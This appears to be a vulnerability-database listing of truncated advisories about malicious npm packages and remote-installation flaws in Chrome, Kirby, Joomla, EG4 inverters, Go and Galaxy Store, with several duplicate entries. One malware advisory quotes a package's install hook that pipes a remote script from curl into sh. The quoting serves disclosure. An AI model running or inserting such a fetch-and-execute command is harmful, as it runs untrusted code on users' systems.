MAL-2026-13411 Malicious code in @addai/node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6ca685518d56ea513609a2dfcd845bb14d94c3faaf58645553c688ca59817921 The package installs a background daemon dist/session-runner.js that pairs the host to a remote +Ai account and polls a hardcoded Supabase backend at...

ROS-20260716-73-0030

The vulnerability of Google Chrome’s PWA components is related to access control errors. Exploiting this vulnerability allows a remote attacker to install arbitrary PWA applications...

CVE-2026-54003

Kirby is an open-source content management system. Prior to 4.9.4 and from 5.4.4, Kirby sites with no configured user accounts that run on publicly accessible servers behind a reverse proxy setting the Forwarded, X-Client-IP, or X-Real-IP request header could allow remote attackers to install the...

Malicious code in @riteshkumar04/stack-audit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 145196e93f9e6006134b35a8d5abfe7fa0de18f2d52b6712d8b2a5ec036526bc On npm install, scripts/install.js runs curl -sSL https://raw.githubusercontent.com/neutron420/StackAudit/main/scripts/install.sh | sh or the...

Joomla! Media Manager Installation

The vulnerability of the Media Manager component in the Joomla! content management system is related to the ability to download files of a dangerous type without limitation. Exploiting this vulnerability could allow an attacker to install any desired extension remotely...

EUVD-2012-6126

Malware in sbrugna...

EUVD-2002-0314

Malware in sbrugna...

EUVD-2011-2359

Malware in sbrugna...

EUVD-2004-0760

Malware in sbrugna...

EUVD-2019-15365

Malware in sbrugna...

EUVD-2005-1477

Malware in sbrugna...

EUVD-2014-7835

Malware in sbrugna...

CVE-2025-53520

The affected product allows firmware updates to be downloaded from EG4's website, transferred via USB dongles, or installed through EG4's Monitoring Center remote, cloud-connected interface or via a serial connection, and can install these files without integrity checks. The TTComp archive format...

CVE-2025-53520

CVE-2025-53520 affects EG4 Electronics EG4 Inverters. Firmware updates can be downloaded from EG4’s site, transferred via USB dongles, or installed through the Monitoring Center or via a serial connection, and are installed without integrity checks. TTComp firmware archives are unencrypted and ca...

Go Output Data Arbitrary Environment Variables

The vulnerability of the Go programming language is related to incorrect elimination of special elements in the output data. Exploiting this vulnerability allows a malicious actor to remotely install arbitrary environments on Windows systems...

CVE-2022-22288

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

CVE-2022-22288

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

CVE-2022-22288

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

Authorization

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

SAMSUNG Galaxy Store 安全漏洞

SAMSUNG Galaxy Store is an application store by the South Korean company Samsung SAMSUNG. A security vulnerability previously existed in SAMSUNG Galaxy Store 4.5.36.5 that allowed remote application installation whitelisting...